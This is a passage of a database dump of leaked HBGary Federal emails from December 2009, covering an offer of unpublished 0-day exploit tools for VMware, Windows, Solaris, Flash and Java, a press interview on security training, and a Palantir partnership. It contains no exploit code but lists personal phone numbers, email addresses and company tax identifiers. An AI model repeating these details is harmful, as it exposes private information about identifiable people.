N.\r\n> Subject: Tools\r\n>\r\n>\r\n>\r\n> Hi Ben,\r\n>\r\n>\r\n>\r\n> It was great meeting you again.  Below is a list of the current unpublished 0-day tools that we have on the shelf.  You mentioned interest in the VMWare tool, so I\'ve attached a summary description.  Please let me know if you are interested in any of the other tools, or if you have further questions.\r\n>\r\n> ·         VMware ESX and ESXi *\r\n>\r\n> ·         Win2K3 Terminal Services\r\n>\r\n> ·         Win2K3 MSRPC\r\n>\r\n> ·         Solaris 10 RPC\r\n>\r\n> ·         Adobe Flash *\r\n>\r\n> ·         Sun Java *\r\n>\r\n> ·         Win2k Professional & Server\r\n>\r\n> Regards,\r\n>\r\n> Ted\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n>\r\n> 719-237-8623\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n',1761,'aaron_hbgary_com/1761.html'),(808,'2009-12-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000070.M340955P3547Q809.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: GCN Story On Enduser IT SecurityTraining','How about 11am est?From my iPhoneOn Dec 22, 2009, at 3:22 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nHi Aaron, John could interview you on Tuesday Dec. 29th between 8 AM- 11 AM ET. Is there a time that would be convenient for you? I can be on the call too if you like. Best, Karen    \r\n--- On Tue, 12/22/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: GCN Story On Enduser IT SecurityTraining\r\nTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, December 22, 2009, 11:07 AM\r\n\r\nI am on vacation in illinois but I can do am interview just let me know the time.\r\n\r\nAaronFrom my iPhone\r\nOn Dec 22, 2009, at 12:59 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, I secured an interview with you and GCN editor John Moore for this story below. He wanted to see if you would be available next Monday, Dec. 28th or Tuesday, Dec. 29th -- are you working next week? I know the timing is tought due to holiday. If you aren&#39;t available,  I can see if he could it the week of Jan. 4th. \r\n\r\n \r\nI would prepare a briefing sheet for the interview i.e. background on publication, author, etc. Best, Karen --- On Sun, 12/20/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Re: GCN Story On Enduser IT SecurityTrainingTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;\r\nDate: Sunday, December 20, 2009, 7:29 PM\r\nHi Karen, \r\n\r\nSorry for delay.  I am sure I can address training in an interview although its not my primary strong suite.  I have spent a lot of time at the national CERTS over the last few years and can tell you that training in any measurable way just isn&#39;t happening.  For those organizations that have periodic training, its just a check box, there is no associated metrics to follow the progress or adherence of the trainees to the training.  Anyway I can provide a lot more information if needed.\r\n\r\n\r\nCertifications I think are the most used measure of an IT security professionals skill level.  In some cases their may be some positional OJT and associated certification and that may come with a periodic review but that is the most I have seen, and thats rare.\r\n\r\n\r\nBut u mentioned end user security training.  Thats even worse.  Best you see is periodic refresher training with a multiple choice quiz that usually lets you reselect your answers after you get them wrong.\r\n\r\nIT Security training just has not been taken seriously enough.  In the classified world you are trained on the proper methods and procedures for taking care of classified information, and if you mishandle classified information, depending on the severity you can get your clearance revoked and loose your job.  This doesn&#39;t happen for IT security, even though what can be lost by a single employee improperly using their organizations IT systems can be just as damaging to the organization.\r\n\r\n\r\nImpact of training can be measured, when paired with penetration and vulnerability assessements, on the hardened state of the systems.  How many user names and passwords could a pen tester acquire.  How many systems could they penetrate.  Conduct training and then a few months later retest the organizations security posture.  That is one of the only true ways to measure success in the IT security world.\r\n\r\n\r\nIn the future I believe one of the answers to the security dilemma is Digital Rights Management (DRM) capability on every machine.  The DRM applications will monitor the health and status, including security posture for the system and will have the ability to lock down or move services if the security state changes.  These sensors will monitor activity on the systems and network for anything that looks suspicious.\r\n\r\n\r\nAaron\r\n\r\n\r\nOn Dec 18, 2009, at 11:53 AM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, Government Computer News editor John Moore is writing a security feature for the Jan. 25 issue on the topic of end user IT security training. For example, the story will discuss how organizations measure the impact of training and whether employees are following through (adhering to agency security policies.)\r\n\r\n \r\nIs this a topic you could address in an interview? If so, please provide a few quick bullet points that I could share with the writer to possibly secure an interview.\r\n\r\n \r\nThanks Aaron. Best, Karen\r\n \r\n \r\n \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n      \r\n',4703,'aaron_hbgary_com/4703.html'),(809,'2009-12-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000070.M532466P3547Q810.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Tools','Yep it will be interesting.\r\n\r\n From my iPhone\r\n\r\nOn Dec 22, 2009, at 5:01 PM, Ted Vera  wrote:\r\n\r\n> I am curious how Ben will respond - but I thought it was worth a shot.\r\n>\r\n> Ted\r\n>\r\n>\r\n> ---------- Forwarded message ----------\r\n> From: Ted Vera \r\n> Date: Tue, Dec 22, 2009 at 2:18 PM\r\n> Subject: Re: Tools\r\n> To: \"Wilson, Ben N.\" , Barr Aaron  >\r\n>\r\n>\r\n> Hi Ben,\r\n> Below is the information you requested and attached is a facility\r\n> security clearance sponsor letter.  If you fill this out and submit to\r\n> DSS it will enable us to provide classified support to your contracts.\r\n>  (This is not for sponsoring a SCIF, it would just allow us to have\r\n> classified discussions and provide on-site classified support as\r\n> needed).\r\n> HBGary Federal, LLC\r\n>\r\n> DUNS:  832950831\r\n>\r\n> CAGE:  5U1U6\r\n>\r\n> EIN:  27-1485507\r\n> Hope you have a happy holiday!\r\n> Ted\r\n>\r\n>\r\n>\r\n> On Tue, Dec 15, 2009 at 1:02 PM, Wilson, Ben N.  ais.com> wrote:\r\n>>\r\n>> Greetings Ted,\r\n>>\r\n>>\r\n>>\r\n>> Thank you again for coming to our facility and meeting with us.\r\n>>\r\n>>\r\n>>\r\n>> When you have time, please send Company ID, Tax ID, etc. so I can\r\n>> forward to contracts to get you on the approved vendor list.\r\n>>\r\n>>\r\n>>\r\n>> Thanks,\r\n>>\r\n>> Ben Wilson\r\n>>\r\n>>\r\n>>\r\n>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>> Sent: Tuesday, December 15, 2009 11:58 AM\r\n>> To: Wilson, Ben N.\r\n>> Subject: Tools\r\n>>\r\n>>\r\n>>\r\n>> Hi Ben,\r\n>>\r\n>>\r\n>>\r\n>> It was great meeting you again.  Below is a list of the current\r\n>> unpublished 0-day tools that we have on the shelf.  You mentioned\r\n>> interest in the VMWare tool, so I\'ve attached a summary\r\n>> description.  Please let me know if you are interested in any of\r\n>> the other tools, or if you have further questions.\r\n>>\r\n>> ·         VMware ESX and ESXi *\r\n>>\r\n>> ·         Win2K3 Terminal Services\r\n>>\r\n>> ·         Win2K3 MSRPC\r\n>>\r\n>> ·         Solaris 10 RPC\r\n>>\r\n>> ·         Adobe Flash *\r\n>>\r\n>> ·         Sun Java *\r\n>>\r\n>> ·         Win2k Professional & Server\r\n>>\r\n>> Regards,\r\n>>\r\n>> Ted\r\n>>\r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal\r\n>>\r\n>> 719-237-8623\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal, Inc.\r\n> 719-237-8623\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal, Inc.\r\n> 719-237-8623\r\n',647,'aaron_hbgary_com/647.html'),(810,'2009-12-22','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000070.M821274P3547Q811.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: GCN Story On Enduser IT SecurityTraining','Hi Aaron,&nbsp; John is only available until 11 AM ET -- could we possibly do it at 10AM ET or 10:30 AM ET? Best, K--- On Tue, 12/22/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: GCN Story On Enduser IT SecurityTrainingTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, December 22, 2009, 3:27 PM\r\n\r\nHow about 11am est?From my iPhone\r\nOn Dec 22, 2009, at 3:22 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, John could interview you on Tuesday Dec. 29th&nbsp;between 8 AM- 11 AM ET. Is there a time that would be convenient for you? I can&nbsp;be on the call too if you like. Best, Karen&nbsp;&nbsp;&nbsp;&nbsp;--- On Tue, 12/22/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: GCN Story On Enduser IT SecurityTrainingTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, December 22, 2009, 11:07 AM\r\n\r\nI am on vacation in illinois but I can do am interview just let me know the time.\r\n\r\nAaronFrom my iPhone\r\nOn Dec 22, 2009, at 12:59 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, I secured an interview with you and GCN editor John Moore for this story below. He wanted to see if you would be available next Monday, Dec. 28th&nbsp;or Tuesday, Dec. 29th -- are you working next week? I know the timing is tought due to holiday. If you aren\'t available, &nbsp;I can see if he&nbsp;could it the week of Jan. 4th. \r\n&nbsp;\r\nI would prepare a briefing sheet for the interview i.e. background on publication, author, etc. Best, Karen&nbsp;--- On Sun, 12/20/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: GCN Story On Enduser IT SecurityTrainingTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Sunday, December 20, 2009, 7:29 PM\r\nHi Karen, \r\n\r\nSorry for delay. &nbsp;I am sure I can address training in an interview although its not my primary strong suite. &nbsp;I have spent a lot of time at the national CERTS over the last few years and can tell you that training in any measurable way just isn\'t happening. &nbsp;For those organizations that have periodic training, its just a check box, there is no associated metrics to follow the progress or adherence of the trainees to the training. &nbsp;Anyway I can provide a lot more information if needed.\r\n\r\nCertifications I think are the most used measure of an IT security professionals skill level. &nbsp;In some cases their may be some positional OJT and associated certification and that may come with a periodic review but that is the most I have seen, and thats rare.\r\n\r\nBut u mentioned end user security training. &nbsp;Thats even worse. &nbsp;Best you see is periodic refresher training with a multiple choice quiz that usually lets you reselect your answers after you get them wrong.\r\n\r\nIT Security training just has not been taken seriously enough. &nbsp;In the classified world you are trained on the proper methods and procedures for taking care of classified information, and if you mishandle classified information, depending on the severity you can get your clearance revoked and loose your job. &nbsp;This doesn\'t happen for IT security, even though what can be lost by a single employee improperly using their organizations IT systems can be just as damaging to the organization.\r\n\r\nImpact of training can be measured, when paired with penetration and vulnerability assessements, on the hardened state of the systems. &nbsp;How many user names and passwords could a pen tester acquire. &nbsp;How many systems could they penetrate. &nbsp;Conduct training and then a few months later retest the organizations security posture. &nbsp;That is one of the only true ways to measure success in the IT security world.\r\n\r\nIn the future I believe one of the answers to the security dilemma is Digital Rights Management (DRM) capability on every machine. &nbsp;The DRM applications will monitor the health and status, including security posture for the system and will have the ability to lock down or move services if the security state changes. &nbsp;These sensors will monitor activity on the systems and network for anything that looks suspicious.\r\n\r\nAaron\r\n\r\n\r\nOn Dec 18, 2009, at 11:53 AM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, Government Computer News&nbsp;editor John Moore is writing a&nbsp;security feature for the Jan. 25 issue on the&nbsp;topic&nbsp;of end user IT security training. For example, the story will discuss how organizations measure the impact of training and whether employees are following through (adhering to agency security policies.)\r\n&nbsp;\r\nIs this a topic you could address in an interview? If so, please provide a few quick bullet points that I could share with the writer to possibly secure an interview.\r\n&nbsp;\r\nThanks Aaron. Best, Karen\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',6408,'aaron_hbgary_com/6408.html'),(811,'2009-12-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000070.M98579P3547Q808.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Palantir partnership','It reads as if its our responsibility to produce the video\r\ndemonstration.  Is that the intent?\r\nDid you have the call with Penny/Greg?\r\n\r\nTed\r\n\r\n\r\n\r\nOn Tue, Dec 22, 2009 at 1:49 PM, Aaron Barr  wrote:\r\n> How about now?  Teds busy for a bit but I think we can cover it.\r\n> Aaron\r\n>\r\n> From my iPhone\r\n> On Dec 22, 2009, at 2:31 PM, \" Penny Hoglund\"  wrote:\r\n>\r\n> OK, what works for you?\r\n>\r\n>\r\n>\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, December 22, 2009 11:23 AM\r\n> To: Penny Hoglund\r\n> Cc: Greg Hoglund; Ted Vera\r\n> Subject: Re: Palantir partnership\r\n>\r\n>\r\n>\r\n> Ok that\'s what I want to talk about.  Can we set up a teleconference?\r\n>\r\n>\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On Dec 22, 2009, at 1:15 PM, \" Penny Hoglund\"  wrote:\r\n>\r\n> Not necessarily, they are integrating with HBGary, not HBGary Federal since\r\n> we are having to do integration.  HBGary Federal will sell that integration\r\n> and use it but if is effects the software it should be under HBGary\r\n>\r\n>\r\n>\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, December 22, 2009 7:25 AM\r\n> To: Greg Hoglund; Penny Leavy\r\n> Cc: Ted Vera\r\n> Subject: Fwd: Palantir partnership\r\n>\r\n>\r\n>\r\n> FYI.  Partnership agreement with Palantir.  First glaring correction is to\r\n> change HBGary to HBGary Federal.  Reviewing the rest now.\r\n>\r\n>\r\n>\r\n> Aaron\r\n>\r\n>\r\n>\r\n> Begin forwarded message:\r\n>\r\n>\r\n>\r\n> From: Matthew Steckman \r\n>\r\n> Date: December 21, 2009 6:01:57 PM EST\r\n>\r\n> To: Aaron Barr \r\n>\r\n> Subject: Palantir partnership\r\n>\r\n>\r\n>\r\n> Aaron,\r\n>\r\n>\r\n>\r\n> Attached is our official partnership paperwork to start integration work for\r\n> EOP (and potentially many other places).  Please return a redlined copy or a\r\n> signed agreement.  You’ll notice that this is a free deal if the integration\r\n> is performed within 60 days of signing the agreement.\r\n>\r\n>\r\n>\r\n> Looking forward to working with you guys.\r\n>\r\n>\r\n>\r\n> -Matt\r\n>\r\n>\r\n>\r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n',4629,'aaron_hbgary_com/4629.html'),(812,'2009-12-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000071.M47966P3547Q812.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: GCN Story On Enduser IT SecurityTraining','SureFrom my iPhoneOn Dec 22, 2009, at 5:37 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nHi Aaron,  John is only available until 11 AM ET -- could we possibly do it at 10AM ET or 10:30 AM ET? Best, K\r\n--- On Tue, 12/22/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: GCN Story On Enduser IT SecurityTraining\r\nTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, December 22, 2009, 3:27 PM\r\n\r\nHow about 11am est?From my iPhone\r\nOn Dec 22, 2009, at 3:22 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, John could interview you on Tuesday Dec. 29th between 8 AM- 11 AM ET. Is there a time that would be convenient for you? I can be on the call too if you like. Best, Karen    --- On Tue, 12/22/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Re: GCN Story On Enduser IT SecurityTrainingTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;\r\nDate: Tuesday, December 22, 2009, 11:07 AM\r\n\r\nI am on vacation in illinois but I can do am interview just let me know the time.\r\n\r\nAaronFrom my iPhone\r\nOn Dec 22, 2009, at 12:59 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, I secured an interview with you and GCN editor John Moore for this story below. He wanted to see if you would be available next Monday, Dec. 28th or Tuesday, Dec. 29th -- are you working next week? I know the timing is tought due to holiday. If you aren&#39;t available,  I can see if he could it the week of Jan. 4th. \r\n\r\n \r\nI would prepare a briefing sheet for the interview i.e. background on publication, author, etc. Best, Karen --- On Sun, 12/20/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Re: GCN Story On Enduser IT SecurityTrainingTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;\r\nDate: Sunday, December 20, 2009, 7:29 PM\r\nHi Karen, \r\n\r\nSorry for delay.  I am sure I can address training in an interview although its not my primary strong suite.  I have spent a lot of time at the national CERTS over the last few years and can tell you that training in any measurable way just isn&#39;t happening.  For those organizations that have periodic training, its just a check box, there is no associated metrics to follow the progress or adherence of the trainees to the training.  Anyway I can provide a lot more information if needed.\r\n\r\n\r\nCertifications I think are the most used measure of an IT security professionals skill level.  In some cases their may be some positional OJT and associated certification and that may come with a periodic review but that is the most I have seen, and thats rare.\r\n\r\n\r\nBut u mentioned end user security training.  Thats even worse.  Best you see is periodic refresher training with a multiple choice quiz that usually lets you reselect your answers after you get them wrong.\r\n\r\nIT Security training just has not been taken seriously enough.  In the classified world you are trained on the proper methods and procedures for taking care of classified information, and if you mishandle classified information, depending on the severity you can get your clearance revoked and loose your job.  This doesn&#39;t happen for IT security, even though what can be lost by a single employee improperly using their organizations IT systems can be just as damaging to the organization.\r\n\r\n\r\nImpact of training can be measured, when paired with penetration and vulnerability assessements, on the hardened state of the systems.  How many user names and passwords could a pen tester acquire.  How many systems could they penetrate.  Conduct training and then a few months later retest the organizations security posture.  That is one of the only true ways to measure success in the IT security world.\r\n\r\n\r\nIn the future I believe one of the answers to the security dilemma is Digital Rights Management (DRM) capability on every machine.  The DRM applications will monitor the health and status, including security posture for the system and will have the ability to lock down or move services if the security state changes.  These sensors will monitor activity on the systems and network for anything that looks suspicious.\r\n\r\n\r\nAaron\r\n\r\n\r\nOn Dec 18, 2009, at 11:53 AM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, Government Computer News editor John Moore is writing a security feature for the Jan. 25 issue on the topic of end user IT security training. For example, the story will discuss how organizations measure the impact of training and whether employees are following through (adhering to agency security policies.)\r\n\r\n \r\nIs this a topic you could address in an interview? If so, please provide a few quick bullet points that I could share with the writer to possibly secure an interview.\r\n\r\n \r\nThanks Aaron. Best, Karen\r\n \r\n \r\n \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n      \r\n',15842,'aaron_hbgary_com/15842.html'),(813,'2009-12-23','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000076.M504955P3547Q813.eml','\"Ted Vera\" <ted@hbgary.com>,james.mitcham@unisys.com,\"Ted Vera\" <ted@hbgary.com>','RE: CIMS - Palantir Introduction','Sure thing Ted.\r\n\r\nJames - see the attached document for an executive summary.\r\n\r\nWould you gentlemen like to organize a quick phone call tomorrow to get on the same page?\r\n\r\n-Matt\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Tuesday, December 22, 2009 5:16 PM\r\nTo: Matthew Steckman; james.mitcham@unisys.com\r\nCc: Barr Aaron\r\nSubject: CIMS - Palantir Introduction\r\n\r\nHi Matt,\r\nJim Mitcham (cc\'d) is the CIMS PM with Unisys (the prime).  I gave Jim\r\na quick introduction of Palantir capabilities earlier today.  Do you\r\nhave an executive summary capability brief or product paper you can\r\nsend to him?  I\'ve included both of your contact information below.\r\n\r\nJim Mitcham\r\nPractice Director\r\nCDC\r\n404-639-7383 Office\r\n404-483-1099 Mobile\r\njames.mitcham@unisys.com\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\nRegards,\r\nTed\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',13456,'aaron_hbgary_com/13456.html'),(814,'2009-12-23','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000100.M603828P3547Q814.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Palantir partnership','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSure thing Aaron.&nbsp; These files should get you started.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 22, 2009 10:38 AM\r\nTo: Matthew Steckman\r\nSubject: Re: Palantir partnership\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks Matt,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nReviewing now. &nbsp;Main thing I notice is changing the\r\nname HBGary to HBGary Federal LLC, a California based company. &nbsp;I should\r\nget the rest reviewed and back to you sometime today. &nbsp;Also, if you have\r\nsome PPT material that I can start to integrate over the holidays and then we\r\ncan review.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 21, 2009, at 6:01 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAttached is our official partnership paperwork to start\r\nintegration work for EOP (and potentially many other places).&nbsp; Please\r\nreturn a redlined copy or a signed agreement. &nbsp;You&#8217;ll notice that this is\r\na free deal if the integration is performed within 60 days of signing the\r\nagreement.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLooking forward to working with you guys.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Matt\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;P3\r\nHBGary.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8595,'aaron_hbgary_com/8595.html'),(815,'2009-12-23','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000101.M524068P3547Q815.eml','aaron@hbgary.com','Confirm Government Computer News Interview Dec. 29th at 10 AM ET','\r\n\r\n\r\nHI Aaron, You are confirmed for your phone interview with Government Compuer News editor John Moore on Tuesday Dec. 29th at 10 AM ET.&nbsp; You should call him directly at (315) 488-8111.&nbsp;I will prepare a briefing sheet for you, but wanted to give you a quick idea of focus of interview:\r\n&nbsp;\r\n&nbsp;I had shared with him some of your points (sent via email) below about effectiveness of enduser security training-- he is most interested in you addressing&nbsp;your&nbsp;second and third points mentioned below:\r\n\r\n* Do most agencies conduct pen tests and vulnerability assessments to test the effectiveness of training? How often should those tests/assessments be conducted? How much do they cost?\r\n\r\n* I\'d like more detail on how DRM works. To what extent is it available today? How difficult/costly is it to deploy?\r\n\r\n&nbsp;\r\n&nbsp;Here\'s what I originally sent him...\r\n&nbsp;\r\n\r\n\r\nIT Security training just has not been taken seriously enough. &nbsp;In the classified world, you are trained on the proper methods and procedures for taking care of classified information, and if you mishandle classified information, depending on the severity, you can get your clearance revoked and lose your job. &nbsp;This doesn\'t happen for IT security, even though what can be lost by a single employee improperly using their organizations IT systems can be just as damaging to the organization.\r\n&nbsp; \r\n\r\nImpact of training can be measured, when paired with penetration and vulnerability assessments, on the hardened state of the systems. &nbsp;For example, how many user names and passwords could a pen tester acquire? &nbsp;How many systems could they penetrate? &nbsp;You can conduct training and then, a few months later, retest the organizations security posture. &nbsp;That is one of the only true ways to measure success in the IT security world.\r\n&nbsp; \r\n\r\nIn the future, one of the answers to the security dilemma is Digital Rights Management (DRM) capability on every machine. &nbsp;The DRM applications will monitor the health and status, including security posture for the system and will have the ability to lock down or move services if the security state changes. &nbsp;These sensors will monitor activity on the systems and network for anything that looks suspicious.\r\n&nbsp;\r\n&nbsp;Thanks Aaron. I\'ll get the briefing sheet to you by tomorrow morning. If you would like me on the call,&nbsp;you would need to&nbsp;patch me in-- I am unable to do a three-way call, alas.\r\n&nbsp;\r\nI also would be happy to do a quick pre-brief call with you prior to the interview&nbsp;on Monday -- just review briefing sheet and answer any questions you may have. Just let me know.\r\n&nbsp;\r\nIn the meantime, I hope you have a wonderful holiday. Best, Karen\r\n&nbsp;\r\nKaren Burke\r\n650-814-3764&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n',16698,'aaron_hbgary_com/16698.html'),(816,'2009-12-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000101.M744855P3547Q816.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Confirm Government Computer News Interview Dec. 29th at 10 AM ET','From my iPhoneBegin forwarded message:From: Karen Burke &lt;karenmaryburke@yahoo.com&gt;\r\nDate: December 23, 2009 9:33:36 AM CSTTo: aaron@hbgary.comSubject: Confirm Government Computer News Interview Dec. 29th at 10 AM ET \r\n\r\n\r\n\r\nHI Aaron, You are confirmed for your phone interview with Government Compuer News editor John Moore on Tuesday Dec. 29th at 10 AM ET.  You should call him directly at (315) 488-8111. I will prepare a briefing sheet for you, but wanted to give you a quick idea of focus of interview:\r\n\r\n \r\n I had shared with him some of your points (sent via email) below about effectiveness of enduser security training-- he is most interested in you addressing your second and third points mentioned below:\r\n\r\n* Do most agencies conduct pen tests and vulnerability assessments to test the effectiveness of training? How often should those tests/assessments be conducted? How much do they cost?\r\n\r\n\r\n* I&#39;d like more detail on how DRM works. To what extent is it available today? How difficult/costly is it to deploy?\r\n\r\n \r\n Here&#39;s what I originally sent him...\r\n \r\n\r\n\r\nIT Security training just has not been taken seriously enough.  In the classified world, you are trained on the proper methods and procedures for taking care of classified information, and if you mishandle classified information, depending on the severity, you can get your clearance revoked and lose your job.  This doesn&#39;t happen for IT security, even though what can be lost by a single employee improperly using their organizations IT systems can be just as damaging to the organization.\r\n\r\n  \r\n\r\nImpact of training can be measured, when paired with penetration and vulnerability assessments, on the hardened state of the systems.  For example, how many user names and passwords could a pen tester acquire?  How many systems could they penetrate?  You can conduct training and then, a few months later, retest the organizations security posture.  That is one of the only true ways to measure success in the IT security world.\r\n\r\n  \r\n\r\nIn the future, one of the answers to the security dilemma is Digital Rights Management (DRM) capability on every machine.  The DRM applications will monitor the health and status, including security posture for the system and will have the ability to lock down or move services if the security state changes.  These sensors will monitor activity on the systems and network for anything that looks suspicious.\r\n\r\n \r\n Thanks Aaron. I&#39;ll get the briefing sheet to you by tomorrow morning. If you would like me on the call, you would need to patch me in-- I am unable to do a three-way call, alas.\r\n \r\nI also would be happy to do a quick pre-brief call with you prior to the interview on Monday -- just review briefing sheet and answer any questions you may have. Just let me know.\r\n \r\nIn the meantime, I hope you have a wonderful holiday. Best, Karen\r\n \r\nKaren Burke\r\n650-814-3764 \r\n \r\n 